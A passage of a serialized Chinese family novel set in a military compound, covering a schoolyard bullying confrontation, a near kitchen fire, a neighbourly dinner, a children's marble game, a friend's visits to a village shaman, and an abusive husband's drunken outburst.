其他几人看到这儿,大概也都知道怎么回事了。 原来真的是廖家兄弟俩欺负舟舟在先,把舟舟关进小黑屋里,还是舟舟聪明,知道从窗户里逃出去,追了上去,把这两兄弟推进泥坑里。 邓翠香顿时火冒三丈,指着廖家兄弟的鼻子骂。 “好哇你们俩小兔崽子,这么点大就一肚子坏水!” 李红娟有点心虚,想反驳又不知道说什么,正酝酿词汇呢,却听周柒柒缓缓走了过来,先开口了。 “他们都是小孩子,你一个大人,骂他们干什么?” 李红娟赶紧点头。 “就是!你这么大的人,你骂小孩,不害臊吗你...” 话没说完,周柒柒突然抡起胳膊,左右开弓。 “啪!啪!” 两声脆响,廖小雷、廖小锋的脸上顿时浮起五道指印! 第74章 再一次百口莫辩 李红娟僵在原地,指尖微微发颤,显然还没从周柒柒当众动手的冲击中缓过神来。 她张了张嘴,喉结上下滚动了好几下,才磕磕巴巴挤出质问。 “你你你...你怎么打孩子呢?” “打他们怎么了?” 周柒柒直勾勾盯着她,眼尾泛红,像是压抑着滔天怒火。 “我打的就是这两个有爹生,没娘教的小兔崽子!” 她转头看向两个被扇得呆立当场的男孩,一字一顿,字字带刀。 “你们现在能过着这么无忧无虑的生活,全靠舟舟爸爸妈妈那样的无名英雄!他们在医院里躺着,只能靠仪器来维持生存!就剩下这么一个独苗,你们就敢这么对待他们的孩子?” 她越说越激动,眼眶泛起水光。 “你们把她关在这么一个小黑屋里,有没有想过,她不会说话,发不出任何声音,如果不是自己从窗户爬出去,可能现在还在这儿困着呢!” “天黑了怎么办?她会不会害怕?会不会再受到刺激?” “万一出了事怎么办?” 廖小雷捂着通红的脸颊,眼泪在眼眶里打转,抽抽搭搭辩解。 “我们...我们不是故意的!” 廖小锋也忙不迭点头,脑袋晃得像拨浪鼓。 “对啊!我们只是想吓唬吓唬她!给她一个教训而已!” “教训?什么教训?舟舟得罪你们了?” 周柒柒眯起眼睛,语气冷得能结霜。 廖小雷梗着脖子,涨红着脸喊道。 “没有,是你害得我妈妈丢了脸,整天在家里哭,我们气不过,所以就教训一下沈渡舟!” 邓翠香“嚯”地站出来,双手叉腰,气势汹汹。 “好你个李红娟,你在家就是这么撺掇孩子的?怪不得你刚才说舟舟打人,是受了我们撺掇,原来是贼喊捉贼啊!” “大人之间的事儿,你怎么能算计到孩子身上呢?利用孩子给自己报仇?” 这全是刚才李红娟说的词儿啊,这会儿全部化成了回旋镖,扎到了她的心上。 她的身子猛地晃了晃,像是被人当胸打了一拳。 嘴唇颤抖着,想要反驳,可喉咙里却像被一团棉花堵住,发不出半点声音。 李主任和费老师,甚至是黄大爷,看向她的眼神,都充满了质疑和鄙夷。 她心里冤枉得不得了。 她是在孩子跟前说了不少周柒柒的坏话,甚至也说了有机会要报仇,可也没想着让两个孩子动手啊! 就算动手,也不是这么个动法儿... 今天事出突然,她一开始也不知道发生了什么。 还是过来以后,私底下问了两个孩子,才知道他们居然把沈渡舟关进小黑屋了。 可那孩子不是没事儿吗? 所以她让两个孩子别把事情说出来。 事情是这么个事情,但这话却不能说出来,说出来怕是也没人信。 她这会儿,是真真正正的百口莫辩。 她强撑着挤出一丝笑容,声音却尖得刺耳。 “你...你别血口喷人!我怎么会做这种事!” 邓翠香才不怕她呢。 “是不是血口喷人,单独问问两个孩子就知道了。” 李红娟脸色瞬间变得惨白,知道这会儿说是说不出什么道理来了。 她眸子转了转,在背后伸出指甲,狠狠掐进背后廖小雷的手臂。 孩子哇哇大哭,顿时什么都说不出来了。 她赶紧又猛地掐了自己一把,声音带着哭腔。 “我...我冤枉啊!我是真的不知道!都是这两个孩子,我...我...哎呀...” 话没说完,她双眼一翻,直挺挺倒在地上,开始“装死”。 李主任和费老师慌忙上前查看,两个孩子哭喊着“妈妈”围在旁边,怎么叫都叫不醒她。 现场乱成一团,李主任擦了擦额角的汗,看向周柒柒。 “要不然,我先把李同志送回去,这事儿等过两天再说。” “送她回去可以。” 周柒柒挑眉,唇角勾起一抹意味深长的弧度。 听她这么说,李红娟原本紧绷的嘴角不自觉放松,却听周柒柒接着说道。 “不过这事儿必须现在就说清楚。” 李红娟嘴角立刻抽动了起来,周柒柒忍住笑容,继续道。 “这样吧,廖科长这会儿也差不多下班了,可以把他叫过来处理。” 李主任思索片刻,点了点头。 李红娟的嘴角不受控制地抖动几下,随后彻底没了动静,像是彻底气晕过去了。 邓翠香立马道。 “我看行,让向阳去叫,这孩子跑得快!” “收到!” 向阳话音未落,一个标准军礼后,身影就消失在拐角。 十分钟后,廖爱民来到了学校里。 他一开始看到两个孩子被打成那样,还想发火呢,但是听李主任说完事情的经过,脸色顿时难看得如同锅底灰一样。 他狠狠在两个孩子屁股踹了两脚,让他们当场跟舟舟和向阳道歉,另外还直接拿出了六十块钱,给两个孩子当医药费,还说道。 “下周一,我让他们当着全校的面,再给沈渡舟和姜向阳道歉,另外还有什么要求,你们尽管说。” 周柒柒和邓翠香对视了一眼,都没接,周柒柒叹了口气。 “当着全校同学的面儿道歉就算了。” 不管怎么说,之前舟舟和向阳都把这两个孩子打了一顿,她刚才又给这两个孩子一人一个大耳光,这个教训已经够重了。 相信他们以后应该不敢再欺负舟舟了,不过... “这俩孩子的思想教育方面出了问题,都是孩子家长,我想提醒一下廖科长,以后多注意。” 她这已经算是给廖爱民留了面子了。 廖爱民沉重地点了点头,“行,我知道了。” 这一出彻头彻尾的闹剧,最终以李红娟晕倒,两个孩子带着一身伤道歉收尾。 廖爱民不愿意碰李红娟,从保卫科喊来两个兵哥哥,用担架把李红娟给抬回去了。 周柒柒这边,费老师那儿有酒精碘伏什么的,简单给两个孩子处理了一下伤口,叮嘱了几句,看着时间不早,就赶紧回家去了。 邓翠香不放心,牵着姜向阳送舟舟回家。 刚转过巷子口,就见周柒柒家烟囱里窜出滚滚黑烟! 第75章 厨房差点给烧了 “糟了!” 周柒柒猛地一拍脑门,这才想起来,自己锅里还煮着银耳百合莲子羹呢! 当时为了节省时间,她特意给煤炉里添了两块新煤,蓝汪汪的火苗卷着炉口蹿得老高,想着能快点煮好。 哪成想隔壁翠香姐慌里慌张跑来,说舟舟在学校出了事,她连围裙都没摘就往外跑,压根忘了灭炉火。 可不就出问题了嘛?! 她赶紧掏钥匙开门,一推开门,刺鼻的焦糊味裹挟着灰黑色浓烟扑面而来。 “咳咳咳...” 周柒柒被呛得眼眶发酸,本能地张开双臂拦住身后的邓翠香和两个孩子。 “翠香姐,你带孩子们在门口等着,这烟呛人!” 说着她便是随手把地上掉着的围裙捡起来在水龙头底下过了一下,然后叠成三角形捂住口鼻,猫着腰往厨房挪。 厨房窗户没关严,穿堂风卷着黑烟往外涌。 她眯着眼扇了两下,看得心惊肉跳的。 炖羹的那一口大铝锅这会儿歪在煤炉上,锅盖已经掉到炉边了,锅里往外咕嘟咕嘟冒着黑水,溢出的汤汁在青砖地上凝成褐色硬块,跟岩浆喷发一样。 下面的煤炉门半开着,暗红色的煤球泛着青灰,偶尔迸出的火星子溅在贴墙的报纸上,烫出指甲盖大的焦斑。 眼前这情况虽然危险,但还好没起火。 上个月挪炉子的时候,她就担心这种问题,特意把炉子放在窗户边上,没挨着木柜子,没想到居然起了大作用。 不过眼下当务之急,是必须得用炉钳把煤炉的进风口给关上。 这样煤炉子里的火才能熄灭。 她捏着围裙角往前探,炉钳呢? 昨儿还搁在炉台上的...... 黑烟裹着热气扑在脸上,周柒柒眯着眼在煤炉右侧摸索,指尖刚碰到冰凉的铁钳柄,忽觉眉心一热——豆大的火星子正从炉口蹦出来,朝着她鼻尖直愣愣扑过来! “小心!” 好在这个时候,一个不太有力的胳膊用力把她往后一拽! 周柒柒冷不丁被这么一拽,整个人都往后倒去,直接摔了个屁股墩儿。 倒下去的时候,那个火星子就擦着她的鼻尖落在地上,给她吓出一身冷汗。 没来得及感慨呢,就听身后“哎呦”一声。 她虽然说摔了个屁股墩儿,但是摔人身上了,不怎么疼,拽她的那个人就倒霉了。 屁股直接摔到了厨房的门槛上,身上还压了个人,疼得龇牙咧嘴的。 “莹莹,没事吧?” 周柒柒忙去扶人,指尖触到对方小臂时,朱莹莹像被烫到般缩了缩。 周柒柒敏锐地看到,她手腕上好大一片黑紫,赶紧问怎么了。 莹莹顾不上屁股,有些慌乱地把袖子撸下来,说是下午不小心磕着了。 话没说完,王团长也回来了,一看到周柒柒家冒烟,赶紧跑了进来。 听明情况后,他二话不说,把两个女人推出门,抄起炉钳就往厨房钻。 这位真不愧是军人,十分钟后,他再出来时。 煤炉进风口已被铁钳卡死,炉子里的残煤用菜园土盖得严严实实。 烧穿底的铝锅浸在盛满水的木盆里,"刺啦刺啦"冒着白气。 屋子里的黑烟也减少了不少,不过—— “虽然已经开窗通风了,但是烟有毒,屋子里一时半会不能待人...” 看这情形,屋里确实不能待,邓翠香一手拉着舟舟,一手拉着向阳,提议道。 “不然就先到我家去吧,估计孩子们都饿了。” “行。” 周柒柒点了点头,带着舟舟先去换了身干净的衣裳。 邓翠香又招呼朱莹莹两口子。 “莹莹,你和王团长也来,你们家在下风口,也不好待,你俩应该也没吃饭呢吧?都上我家起对付一口。” 莹莹自然也没啥意见。 还没到家门口呢,迎面就撞上了火急火燎的姜营长。 这几天部队忙,他也是刚回来,听向海简单说了几句,担心得不得了,这就准备去学校了,还好半路遇上了,不然要白跑一趟。 他这会儿跑得满头汗,军帽歪扣在头上,看见人群里的向阳就虎起了脸。 “咋回事?向阳在学校出啥事了?又打架了?咋还连累上舟舟了?这皮猴子,我非揍他不可!” 向阳"嗷"一嗓子躲到邓翠香身后,小脏手攥住邓翠香的裤腿。 “爸!我没打架!” 邓翠香也在一边作证,“真没有,你误会了!” “没打架?” 姜营长可不信,他伸手去抓儿子。 “也不瞅瞅你身上都脏成啥样了?脸也跟花猫似的!一天天的不省心!跟向海真是没法儿比!” “给我出来!” 周柒柒忙拦在中间。 “姜大哥,向阳今天可是小英雄!为了护着舟舟才打人的!” 邓翠香说的,姜营长不信,但周柒柒说的,他就不得不信了,赶紧抬眼去问邓翠香。 “真的?” 邓翠香忙不迭地点头,一边推着他一边说。 “真的真的!不过这事儿说来话长!咱们先回家再说。” 她眼瞅着隔壁张婶端着饭碗趴在院墙上看热闹,又压低声音。 “你小点声。” 姜向阳平时调皮得很,经常被邓翠香追着满院地打,有时候还会被姜营长和邓翠香混合双打,弄得鸡飞狗跳的。 这年代没有什么娱乐项目,这个他们附近这十几户人家的固定娱乐项目。 这会儿已经有不少人家探出脑袋来了。 “行。” 姜营长自然也看到了,要是照平时,他都是无所谓的,但是这还有周柒柒她们呢,连带着一起被看笑话就不好了。 他点了点头,赶紧带着大家伙进院。 一进院儿,邓翠香就利落地拿起了围裙。 “都没吃饭呢,上午我刚去小集市买了一大把碱水面,我去煮了,给大伙儿拌担担面吃。” 姜营长从她手里夺过围裙,“我去吧,你招呼两个小妹,还有孩子。” “行。” 邓翠香点了点头。 一旁的王团长赶忙也表态,“那我也去帮忙。” 邓翠香让向阳去换身衣服,招呼柒柒她们先歇会儿,喝点茶。 面条煮得快,家里芝麻酱、碎米芽菜什么的也都是现成的,不到十分钟,两个男人就来通知可以开饭了。 周柒柒和莹莹帮着摆桌椅。 而姜向阳,这会儿正在葡萄架下教舟舟打弹玻璃珠呢。 第76章 弹珠游戏 葡萄架下,两个小身影并排蹲着。 姜向阳先用食指在浮土里刨出两个月牙状的浅坑,又郑重其事地把不同颜色的玻璃珠按进坑底,圆鼓鼓的腮帮随着说话一鼓一鼓。 “这是男孩玩的,我妈非得逼着我陪你玩,看好了,我就示范一次,然后你自己玩!我可不陪着你玩!” 沈渡舟看了看姜向阳,没说话,只点了点头,姜向阳倒也习惯了,接着说道。 “红的是你的,蓝的是我的。” 他从裤兜掏出五颗蓝色玻璃珠码,掌心向上摊开。 “然后咱俩一人拿五个同颜色的弹珠。” “接着放两个珠子在地上,一前一后的,用手弹后面这个,对准了,把前面那个弹到坑里面去,一个个弹,谁弹进去的珠子多,谁就能赢。” “还可以打别人的弹珠,打到自己的坑里,就算是自己的了。” 说完他拍拍膝盖站起来,胸脯挺得像小公鸡。 “我玩这个可厉害了!咱们院里没一个是我对手的!我来给你示范看看!” 紧接着,便“扑通”趴在地上,他眯起左眼瞄准,食指弯成钩状,"咻"地弹出弹珠。 蓝珠子在地上转了两圈,停在离坑沿三寸远的地方。 沈渡舟眨了眨眼,睫毛忽闪忽闪的,有些懵懂地看向姜向阳。 姜向阳脸一下子就红了,从口袋里又掏出三个蓝色弹珠。 他一边说着,一边在裤腿上蹭了蹭满是土的小手,小心翼翼地摆好弹珠。 “刚才手滑了,再来,这次我‘三弹齐发’!” 屏住呼吸发力,三枚珠子撞在一起滚出弧线,却还是没一个进坑。 沈渡舟歪头看向他,眼神里有一点说不清道不明的小情绪,像是好奇,又像是质疑。 姜向阳脸都红到脖子根了,梗着脖子道,“不对啊!” 他那双小眼睛滴溜溜的转了转,最后将目光锁定在了地上那三枚蓝色珠子上,斩钉截铁道。 “是珠子的问题!这几个蓝色的,我玩的多了,有点坏了!” 沈渡舟眨了眨眼,将刚才姜向阳给她的五个红色玻璃珠递给他。 姜向阳两个小拳头握了握,又摆了三枚珠子出来,屏住呼吸正要弹呢。 邓翠香在院子另外一边扯着嗓子喊道。 “向阳,去喊你哥吃饭了!他在屋子里学习呢!” “等我赢一局!” 姜向阳不耐烦的摆了摆手,头也不抬,拇指按得指节发白,专注地看了一眼沈渡舟。 “舟舟,你看好咯~!” 这次,不知是不是他赌上了小男子汉的尊严。 终于有颗红珠“咚”地落进坑里。 这可把姜向阳高兴坏了,拍了拍手道。 “嘻嘻~我就说我厉害吧?” 说着又把另外几个红珠子递过去,“我的任务完成了,该你了,你自己试试!” 顺便还贴心地帮沈渡舟摆好了位置。 沈渡舟懵懵懂懂地学着姜向阳刚才的样子,指尖轻轻一弹,珠子只在原地转了个圈。 “哎呀,你再用点力!” 第二次——“你这个方向不行,你要找点角度!” 第三次——“不是这个弹的,你学我呀!” ...... 一连五次,一个都没有打中,而且歪得不得了。 姜向阳嘴角勾着,跟个小大人一样,恨铁不成钢道,“沈渡舟,你太笨了!” 沈渡舟没说话,低着头,睫毛忽闪忽闪的,看不出情绪。 姜向阳还以为她伤心了,慌忙把自己的"战利品"塞进她手心。 “算了算了,我以后再慢慢教你,这个送给你...” 那边,邓翠香已经把饭菜都摆上桌了,看姜向阳还没动呢,有些不耐烦地催促道。 “向阳?!怎么回事?磨磨唧唧的?还在玩呢?” “赶快把你哥叫出来,然后洗手吃饭了!” “知道了,知道了!” 姜向阳这回没有不耐烦了,兴冲冲地就跑去屋子里叫向海去了。 他头也不回,完全没有注意到背后。 沈渡舟将三个红色的玻璃珠摆成一排,然后用手指当作画笔,点点划划了几下,然后食指弯成钩状,用力一弹。 三个玻璃弹珠在地上弹弹走走,最终全都晃晃悠悠地进了坑,发出一连串清脆的碰撞声。 “舟舟,洗手吃饭了!” 周柒柒这时看到舟舟还在玩,也喊了一声。 舟舟点了点头,背过身将姜向阳送给她的那枚玻璃珠收进口袋,然后就去水龙头洗手了。 等她过来,邓翠香亲手递给她一碗担担面,里面还加了两片午餐肉,笑呵呵道。 “两个孩子今天吃苦了,本来应该炒肉臊子,但是家里没肉,凑合着吃。” “翠香姐,我替舟舟谢谢你。” 这会儿已经是七点半了,忙活了一下午,周柒柒是真饿了,说了一句,就赶紧端起自己那碗吃了起来。 这担担面是川省的特产,周柒柒之前去那边采风的时候吃过正宗的。 邓翠香就是川省的,会做这个不奇怪,但今天这可是姜营长做的,没想到居然也会那么正宗,和她之前吃的味道基本上一模一样。 芝麻酱的香气裹着芽菜的鲜,越吃越香。 周柒柒忍不住夸了一句,“真好吃!姜营长这手艺是跟翠香姐学的?” “不是不是,这可不是跟我学的,我做的没他好吃!” 邓翠香摆了摆手,脸有点红,一旁的姜营长笑了笑,解释道。 “这个是我当年为了追她,跟川省一个国营饭店的老师傅学的!” 当年,姜营长所在的部队被调往川省参与基地建设,正好就在邓翠香村子旁边,一眼就看上邓翠香了。 各种追求,三番五次托媒婆过去求亲。 但邓翠香说什么都不答应,说自己不想嫁给外省人,以后家乡味道都吃不到了。 听了这话,姜营长二话不说,直接去国营饭店找了个老师傅,每到休息日就过去跟着学习,一连学了小半年。 周柒柒听得眼睛亮晶晶的,说道,“真浪漫!那姜大哥这厨艺肯定学到位了!” 邓翠香撇了撇嘴。 “那你是想多了,学了那么久,师傅都说他糟蹋粮食,最后也就学会了这一样担担面!” “嘿嘿...” 姜营长有些不好意思地挠了挠头,赶紧转移话题。 “对了,下午学校到底出什么事儿了?” 朱莹莹也赶紧问道,“是啊,是不是舟舟被人给欺负了?” 邓翠香叹了口气,把事情经过给说了一遍。 这事儿纯纯的一出闹剧,听得大家都一肚子气。 姜营长是局外人,把整件事听完了,撇了一眼自家正在吃午餐肉的小儿子。 “向阳?之前周阿姨不是拜托了你,让你放学送舟舟回来吗?” “你小子不是一直在教室门口等舟舟吗?咋能让舟舟被那两个坏小子关进小黑屋?” “我...” 姜向阳筷子"当啷"掉在碗里,耳朵红得要滴血,半晌才憋出句。 “我不想让她看见我,就在校门口等她,没在教室门口等。” 周柒柒有点奇怪。 “为什么不想让给她看见你啊?” 姜向阳满脸的愧疚,低着头没说话,看着快哭了。 邓翠香不愧是他亲妈,眸子转了转,立马就想到了。 “这小子,估计是吃火锅那天和舟舟闹矛盾,一直在那儿闹别扭呢!这小子,脾气倔得很!” 这都好几天之前的事儿了,周柒柒有点哭笑不得。 “到底啥矛盾啊?向阳,你告诉周阿姨,周阿姨帮你解决。” 第77章 小朋友的误会 姜向阳也就是个六岁的小孩子,脸皮薄得很,一开始支支吾吾的不肯说是怕人知道。 但也不是个扭捏性子。 这会儿事情被亲妈捅出来,也就直接说了。 “就是看电影那天晚上,我奶油爆米花没吃够,问沈渡舟家里还有没有,她点头了,但是第二天过去,她又摇头说没有了,我感觉...我感觉她是在故意耍着我玩。” “啊...?” 周柒柒听着听着就感觉不对劲了,拍了拍脑门。 “哎呀,这事儿还真不怪舟舟,那天我帮舟舟整理桌子,看见有爆米花,还以为是舟舟吃剩的,正好秦磊过来问我要好吃的,我就都给秦磊了!舟舟压根儿不知情!” 她边说边比画着手势。 “她真给你拿了!锅里剩下的全包起来了,包了好大一个油纸包呢!” 邓翠香也是才知道,儿子居然为了这点小事儿和舟舟闹别扭,伸手点了点他的小脑门。 “你小子,也不知道问问,就胡乱冤枉人家舟舟!还给人家舟舟的画笔都扔地上了...” 姜向阳想起那天的事儿,耳根微微发烫,垂着脑袋不吭声。 周柒柒赶忙说道,“误会,都是误会,这事儿该我跟向阳道歉。” 邓翠香拦着,“不用不用,这道什么歉啊。” 两人正推让着呢,却不想,姜营长冷不丁手掌重重拍在桌上,大喊一声。 “姜向阳!” “就因为这点小事儿,你就违背承诺,没去教室门口等舟舟!要我说,舟舟今天出事儿,你小子全责!一点不爷们!该你跟舟舟道歉才对!” 他动了真格,桌子被拍得“哐哐”响。 周柒柒见状,赶忙帮着解围。 “哎哎,姜大哥,你误会了!坏事又不是向阳干的,全怪廖家那俩混小子!” “再说了,向阳还帮舟舟揍他们呢!你没看见,他一打二,一下都没挨着,揍得那俩小子满头包!” 可姜营长充耳不闻,只沉着脸看向儿子。 “别管是不是误会,错了就是错了,姜向阳,先道歉!” 姜向阳不过才六岁,因为自己的误会,害得沈渡舟被欺负,本来心里就挺内疚的,这会儿当着众人的面,被亲爹板着脸训斥,眼眶一下子就红了,心里委屈得不得了。 但是他还是很听亲爹的话,用袖子胡乱抹了把眼泪。 走到沈渡舟跟前,抽抽搭搭道:“对不起,沈渡舟。” 话音未落,姜营长语气陡然一转:“好!勇于认错才是真汉子!” 他起身走到儿子面前,蹲下与他平视,眼底泛着光亮,语气里满是自豪。 “虽说你犯了错,但知道弥补,还立了大功,批评完了也该表扬!想要什么奖励?说!” 姜向阳本还耷拉着脑袋,一听这话立刻抬起头,小眼睛亮晶晶的。 他歪着脑袋想了想,雀跃道。 “上次哥做好事,爸妈奖励他吃饺子,我也想吃饺子!” 他可还记得上次姜向海风光的模样呢。 邓翠香立马应下:“成!我明早便去集市买猪肉!” 说着又看向周柒柒和朱莹莹。 “柒柒、莹莹,你俩明儿也来我家一起包饺子呗?” “行!” 两人异口同声地应了,邓翠香赶紧招呼道。 “行了行了,先吃饭!” “你们尝尝这碎米芽菜,是我爸妈托人从川省给捎过来的,老两口自己在家用自家种的芥菜嫩芽腌的,发酵了小半年呢!可正宗了!” 姜营长舍得放料,面条裹满了芝麻酱,搭配上芽菜确实可口,周柒柒吃得眯起了眼睛。 “真香!咸香咸香的,入口又有一点回甘,而且treetree的!” 朱莹莹也点了点头。 “确实不错,不亏是翠香姐家乡的特产。” 邓翠香这下高兴了,干脆拍了拍大腿。 “你们都喜欢啊?那要不明天我们就包猪肉芽菜馅的饺子,再配一样素的,吃什么呢,韭菜上次吃过了,后院的菜这会儿要么不够吃,要么就不合适做馅...” 说着说着她却是犯了愁。 周柒柒眼睛一亮,忽然想起了什么。 “要不咱们去外头挖荠菜去吧?吃荠菜饺子!” 今天下午她坐着赵大姐家驴车回来的路上,看到外头野地有不少人在挖荠菜。 邓翠香立刻应下。 “好!我咋忘了这茬!这会儿的荠菜最肥嫩!” 三人边吃边聊,饭后一同到水龙头旁洗碗收拾,舟舟也在一旁帮忙。 周柒柒瞧见,刚才吃饭的时候,向阳把自己碗里没吃的午餐肉夹给了舟舟,还背着大人凑到她耳边嘀嘀咕咕。 看来两个小家伙彻底和好了,她心里也踏实了。 姜向海又回屋学习去了,姜营长则是把姜向阳带到了后院里,问他下午用了什么招式揍那俩坏小子。 向阳兴致勃勃地比画起来,这小子在拳脚功夫上倒真有些天分。 姜营长越问越满意,一时兴起又教了他几招。 父子俩在院里说说笑笑,笑声都飘到前院来了。 三个女人时不时朝那边望上一眼。 邓翠香看着这对父子,心里头盈满了快乐,但却也没忘问道。 “刚才吃饭时,我家老姜没吓着你们吧?他就这性子,严厉起来不分场合,其实疼孩子着呢。” 周柒柒摇头,从她手里接过洗净的碗,用干净抹布擦着水。 “没吓着,这样挺好的,向阳被教得很懂事。” 邓翠香眼底含笑,嘴上却撇了撇,看向正帮着擦桌子的舟舟。 “他呀,皮猴子一个,有什么好的?舟舟才招人疼。” “向阳好~”“舟舟好~” 两人互相用手肘轻撞对方,还故意把水泼在彼此身上,像小孩子拌嘴一样。 朱莹莹看着直笑:“你俩别争了,都好。” 邓翠香洗碗时随口调侃。 “莹莹,你这么喜欢孩子,咋不自己生一个?我记得你和老王都结婚两年多了,还没打算要?” “我...” 朱莹莹脸色微僵,下意识拽了拽衣袖,遮住手腕 周柒柒眼尖地注意到这动作,赶忙插话。 “哟,这不是你前几天被向阳气的脑门生烟的时候了?那天我可是看见你布鞋都跑掉了,那是因为啥啊?” 邓翠香没多想,立刻被带偏了话题,滔滔不绝地诉起苦来。 “别提了!那天他跟隔壁家的小勇不知在哪儿捡的牛粪,中间插根火柴,当鞭炮到处丢着玩...” 洗完碗,几个女人又聊了会儿。 这时姜营长和王团长一同去了周柒柒家,帮着收拾煤炉、烟囱。 起初周柒柒还过意不去,两人却说,“沈团长不在,咱们身为军人,本该帮衬着军属。” 她便不再推辞。 忙活了半小时,煤烟散得差不多了。 周柒柒带着舟舟,和朱莹莹一道回家。 到了门口,她开门让舟舟先回屋,却拉着朱莹莹进了自己房间,神色严肃地问。 “莹莹,你跟我说实话,下午到底去哪儿了?” 朱莹莹起先不愿说,可周柒柒强硬地拉住她的胳膊,撸起袖子——腕间大片青紫痕迹触目惊心。 她知道瞒不住了,红着眼眶开了口,“我……” 第78章 叫一声婶婶 “什么?” 听完朱莹莹的话,周柒柒抬手不轻不重拍了下她的脑门。 “你个傻妮子!枉你还是高才生,书都读到哪儿去了?” 她真是被朱莹莹气得受不了了。 这傻丫头结婚两年多都没能怀上孩子,不知道听谁说有个乡下神婆能治,就眼巴巴地给跑过去了,给人掏了三十块钱,每周都跑去治疗。 这所谓的治疗,就是“栓娃娃”,那婆子那儿有泥塑的婴儿像,巴掌大小,用几圈红绳牢牢地系在女人手腕上,跪在蒲团上,然后她再转着圈地给祭拜。 这一栓至少就是一个多小时。 朱莹莹已经去了七八次了,今天绳子尤其栓得紧,手腕都勒得发紫了。 周柒柒一边轻轻帮她按着,一边恨铁不成钢道。 “这些都是封建迷信,你去了这么多次了,怀上娃娃了嘛?或者真正见过哪个在她那儿栓娃娃的,真怀上娃娃了?” 朱莹莹瞪大了眼睛,摇了摇头。 “你想怀孕怀不上,应该去正规医院检查身体才行,哪儿能这么作践自己啊。” 周柒柒接着劝说道,朱莹莹怯怯地摇了摇头。 “我,我害怕...” 这年代女人不能生育可是大事儿。 朱莹莹母亲早早就去世了,婆婆又在乡下,身边没有人可以商量,做了糊涂事也是可以理解的。 周柒柒摸了摸她的头,“别怕,改天我陪你一起去,那个神婆哪儿,绝对不许再去了!” 她庆幸自己早发现了,这栓个娃娃都栓到手腕紫了,万一再让喝香灰水,活吞蝌蚪啥的,岂不是身体都要被搞垮了? 朱莹莹本就悔得慌,这会儿被周柒柒点破,脸颊涨得通红,攥着周柒柒的手直点头。 送朱莹莹回家之后,周柒柒赶紧去把厨房收拾了一下,就准备烧水洗澡。 舟舟膝盖上个有伤,不好碰水,周柒柒自己洗完之后,她便打了盆温水,用毛巾细细替小姑娘擦了身子,又敷上碘伏。 换药时舟舟睫毛都没颤一下,苍白小脸上虽然没什么表情,眼睛却比往日多了些光亮。 周柒柒感觉这是个大进步,不想浪费这个机会。 等熄灯以后,抱着被子睡在了舟舟旁边,跟她有一搭没一搭地说话。 “婶婶知道你经历过很可怕的事情,那些可怕的东西画了一把锁,把你锁在了里面。” “可你是个很勇敢的小女孩,你可以努力表达自己,打破这把锁。” 今天舟舟的表现确实出乎了她的预料,从自己勇敢爬出小黑屋,到推两个小男孩到泥坑。 再到后来,勇敢地站出来帮她一起证明自己的清白。 以前,她只觉得这个小侄女乖巧懂事,但现在,她是真的喜欢上这个小女孩了。 黑暗中,舟舟的眼睛亮晶晶的,像缀着两颗碎星。 周柒柒凑近她,鼻尖几乎要碰到小姑娘的鼻尖。 “要不,喊我一句‘婶婶’试试呢?” 舟舟咬着唇往后缩了缩,手指绞着被角不知如何是好。 周柒柒笑着点了点她的鼻尖,“逗你呢!” 她知道这孩子心里有坎儿,急不得,只能慢慢来。 又轻声解释道。 “婶婶的意思是,你可以多画画,多表达自己的喜怒哀乐,就像今天这样。” 舟舟沉默片刻,轻轻点了下头,随后翻身背对周柒柒,只露出窄窄的肩膀。 小女孩还不太习惯和人这么亲密。 周柒柒也不勉强她,今天出了这么多事儿,她也有点累了。 闭上眼睛,没几分钟就睡着了。 却没瞧见,她的呼吸平稳后。 身旁瘦弱的小小身躯缓缓转过身来,看着她熟睡的脸庞,伸出小手指,画出了一个简单的轮廓,然后小嘴巴张了两下。 月光与她一样无声,但却将她的心声捎给了窗外的微风。 微风吹在了院内的桂花树上,似是又将这小八卦传递给了桂花树。 桂花树沙沙作响,抖落了一地桂花花瓣。 其中几朵桂花似乎还想传递八卦,乘着微风飘荡。 飘着飘着,却被一阵冷不丁的寒气打了下来。 “别打了,别打了,我错了!” 保卫科科长廖爱民家里,空气异常的沉重。 今天的事太丢人,廖爱民觉得没面子,回来后就开始喝闷酒,喝多了就拎着凳子想打人。 没打到呢,李红娟就大喊大叫的。 两个孩子本来已经睡下了,听到李红娟的惨叫,齐齐跑了出来,一起趴在了李红娟的身上。 “爸,别打妈!是我们的错!” 廖爱民一身的酒气。 “你俩瞎了?这是你们亲妈吗?” “败家娘们!之前就让我在军区丢人!现在又让我在学校丢人!” 说着又是拿起桌上的茶杯,准备拿来砸李红娟。 两个孩子死死护在李红娟身上,廖爱民见砸不到,怒气却是转到了两个孩子身上。 “还有你们俩呢,今天到底怎么回事,给我说清楚了!” 廖小锋抽抽嗒嗒的说不出话来,廖小雷倒是敢作敢当,直接开口。 “我们看着沈渡舟放学了没走,在画画,周围都没人了,就骗她说姜向阳在那边等着她,有话跟她说,然后就带着她一路去了小树林边上的小仓库,趁着她没注意,把门给锁上了!” 后来两个人就出校门准备回家,没想到直接被沈渡舟推到了泥坑里。 还没反应过来怎么回事呢,又是被姜向阳劈头盖脸一顿打,两个人都被打蒙了。 廖爱民看着两个孩子一脸的青紫,不但没有心疼,反而一脸的怒气。 “废物!真给我丢脸!” 说着就砸了杯子在地上,扬长而去了,留李红娟和两个孩子在家抱着一起哭。 这事儿闹得动静不小。 第二天周柒柒去邓翠香家一起包饺子的时候,邓翠香说得惟妙惟肖,好像就在现场一样。 周柒柒听得一愣一愣的,叹了口气。 “我还是觉得李红娟挺可怜的。” 邓翠香撇了撇嘴。 “可怜啥啊?当初李红娟看着人家廖科长职位高,津贴多,自己上赶着嫁过去的,听说认识一天就结婚了,好像在跟谁置气似的!她不把自己的婚姻当事儿,现在过成这样,也是自作自受!” 她叹了口气。 “要我说,真正可怜的是两个孩子!昨天下午她在学校装死之前,掐小雷那一下,那叫一个狠啊!孩子胳膊当场就紫了!疼得嗷嗷叫!我在旁边看着都难受!” 那会儿周柒柒也看到了,确实是下了重手,完全没把孩子当亲生的。 当时其实她是可以想办法戳穿李红娟装死的,但是看着两个孩子护着李红娟那副样子,她有一点于心不忍。 所以就放过了。 也算是在两个孩子面前给李红娟留点面子吧。 这会儿说到两个孩子,她又有点好奇了。 “翠香姐,这俩孩子的亲生妈妈怎么回事,你知道吗?” 邓翠香点了点头。 “知道,去年廖科长他妈来过一趟,听老太太提过一嘴,说是孩子妈三年前,也就是孩子三岁的时候,无缘无故地跳井自杀了,两个孩子当时都还小呢...” 周柒柒不由有些感慨。 